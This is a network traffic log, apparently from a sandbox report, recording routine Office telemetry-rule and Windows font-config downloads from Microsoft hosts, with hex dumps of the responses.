2024-11-26 15:31:28 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: e1549bce-b452-4d45-a17c-7f463c44c08a MS-RequestId: c6c4e441-4c33-45ce-a5f7-dcc15d76aff4 MS-CV: 45gRDz1LnU+5G37l.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 15:31:26 GMT Connection: close Content-Length: 24490
2024-11-26 15:31:28 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 15:31:28 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:27 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:28 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153128Z-174f7845968nxc96hC1EWRspw80000000veg0000000038p5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:28 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:27 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153128Z-174f7845968zgtf6hC1EWRqd8s0000000np0000000003kg4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49766	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:27 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: ff98645e-b01e-0001-1091-3f46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153128Z-174f7845968v75bwhC1EWRuqen0000000gng000000005ene x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:27 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153128Z-174f7845968xr5c2hC1EWRd0hn0000000ceg00000000e4d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49778	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 15:31:30 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=211756 Date: Tue, 26 Nov 2024 15:31:30 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:29 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:30 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153130Z-174f78459685m244hC1EWRgp2c0000000vf000000000c5y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:30 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:30 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153130Z-174f7845968kdththC1EWRzvxn0000000820000000002na1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:30 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:30 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153130Z-174f7845968zgtf6hC1EWRqd8s0000000nn0000000007cnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:30 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153131Z-174f7845968jrjrxhC1EWRmmrs0000000vq000000000m6ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:30 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153131Z-174f7845968qj8jrhC1EWRh41s0000000vg000000000mfa7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 15:31:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49787	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 15:31:32 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=212832 Date: Tue, 26 Nov 2024 15:31:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 15:31:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49786	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:32 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153132Z-174f7845968frfdmhC1EWRxxbw0000000vkg00000000p5e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
